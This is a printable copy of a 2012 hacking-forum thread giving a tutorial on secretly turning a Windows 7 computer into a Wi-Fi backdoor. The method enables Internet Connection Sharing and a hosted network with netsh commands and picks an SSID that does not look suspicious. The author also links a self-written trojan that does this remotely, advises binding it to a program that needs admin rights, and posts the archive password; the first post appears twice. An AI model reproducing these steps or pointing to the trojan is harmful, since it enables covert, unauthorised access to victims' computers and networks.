Sinisterly
Creating Wi-Fi backdoor on Windows7 - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Computers (https://sinister.li/Forum-Computers)
+--- Forum: Operating Systems (https://sinister.li/Forum-Operating-Systems)
+--- Thread: Creating Wi-Fi backdoor on Windows7 (/Thread-Creating-Wi-Fi-backdoor-on-Windows7)



Creating Wi-Fi backdoor on Windows7 - unknownAttacker - 10-21-2012

Theory

ICS (Internet Connection Sharing) is an old but not obsolete functionality that allows to use a computer as a router-gateway. Basically, you can connect your LAN to the internet by connecting one ('central') computer. Why isn't this function so popular now? There are some reasons, the most obvious being that when the 'central' computer is turned off, the whole LAN loses the internet access.

Hosted Network is a little-known Windows 7 feature that allows you to create a wireless private LAN (by default without access to the outside, but we'll get to it) with just your computer and a few clicks.

How is it related to hacking?

Simple. If someone enables ICS and HN on your computer, you probably won't notice if you don't check it specifically. When both are enabled, you have a wireless LAN that shares internet access as long as the 'central' computer is running and connected to the outside. Basically, the computer becomes a backdoor into any network it's connected to.

So, how to do it?

Simple, you need to open the Network & Sharing Center, open the properties of your connection and check 'allow other network users to connect through...'. You have ICS now. Now run command with admin privileges and type this (obviously, pass ssid and pass can be different, but try to make ssid not look suspicious).
Code:
netsh wlan set hostednetwork mode=allow ssid=uAhome key=uAbkdr001
Hosted network is configured now. Then type
Code:
netsh wlan start hostednetwork
It's running now.

Can it be done remotely?

Yes, I've written a small trojan to do this. It requires admin privs so make sure to bind it with something that also requires them.

Code:
DL: http://www.sendspace.com/file/orrmwc Scan: http://vscan.novirusthanks.org/analysis/55a608a7fdebe0083a5106f7810bc916/d2luZmk3Ymtkci1leGU=/

Code:
Encrypted pass: <~0JP::0JP790JP780JG180JP::0JP::0JP:90eb:90JP:90JP:90JP:90eb:90JP:90eb:80 JP:90JG180JP:90JG490JP:90eb=:~> Encryption alogrithm: plaintext pass -> binary -> ASCII85

This adds network with ssid 'uAhome' and pass 'uAbkdr001'. Remember, works only on win7


Creating Wi-Fi backdoor on Windows7 - unknownAttacker - 10-21-2012

Theory

ICS (Internet Connection Sharing) is an old but not obsolete functionality that allows to use a computer as a router-gateway. Basically, you can connect your LAN to the internet by connecting one ('central') computer. Why isn't this function so popular now? There are some reasons, the most obvious being that when the 'central' computer is turned off, the whole LAN loses the internet access.

Hosted Network is a little-known Windows 7 feature that allows you to create a wireless private LAN (by default without access to the outside, but we'll get to it) with just your computer and a few clicks.

How is it related to hacking?

Simple. If someone enables ICS and HN on your computer, you probably won't notice if you don't check it specifically. When both are enabled, you have a wireless LAN that shares internet access as long as the 'central' computer is running and connected to the outside. Basically, the computer becomes a backdoor into any network it's connected to.

So, how to do it?

Simple, you need to open the Network & Sharing Center, open the properties of your connection and check 'allow other network users to connect through...'. You have ICS now. Now run command with admin privileges and type this (obviously, pass ssid and pass can be different, but try to make ssid not look suspicious).
Code:
netsh wlan set hostednetwork mode=allow ssid=uAhome key=uAbkdr001
Hosted network is configured now. Then type
Code:
netsh wlan start hostednetwork
It's running now.

Can it be done remotely?

Yes, I've written a small trojan to do this. It requires admin privs so make sure to bind it with something that also requires them.

Code:
DL: http://www.sendspace.com/file/orrmwc Scan: http://vscan.novirusthanks.org/analysis/55a608a7fdebe0083a5106f7810bc916/d2luZmk3Ymtkci1leGU=/

Code:
Encrypted pass: <~0JP::0JP790JP780JG180JP::0JP::0JP:90eb:90JP:90JP:90JP:90eb:90JP:90eb:80 JP:90JG180JP:90JG490JP:90eb=:~> Encryption alogrithm: plaintext pass -> binary -> ASCII85

This adds network with ssid 'uAhome' and pass 'uAbkdr001'. Remember, works only on win7


RE: Creating Wi-Fi backdoor on Windows7 - unknownAttacker - 10-22-2012

password to unpack archive or password created by backdoor? password to archive - you need to decode, algorithm is written here so if you know how to google, you'll know the pass. password created by backdoor is uAbkdr001


RE: Creating Wi-Fi backdoor on Windows7 - darkv0id - 11-09-2012

You always have great tutorials on wifi hacking man. Good job.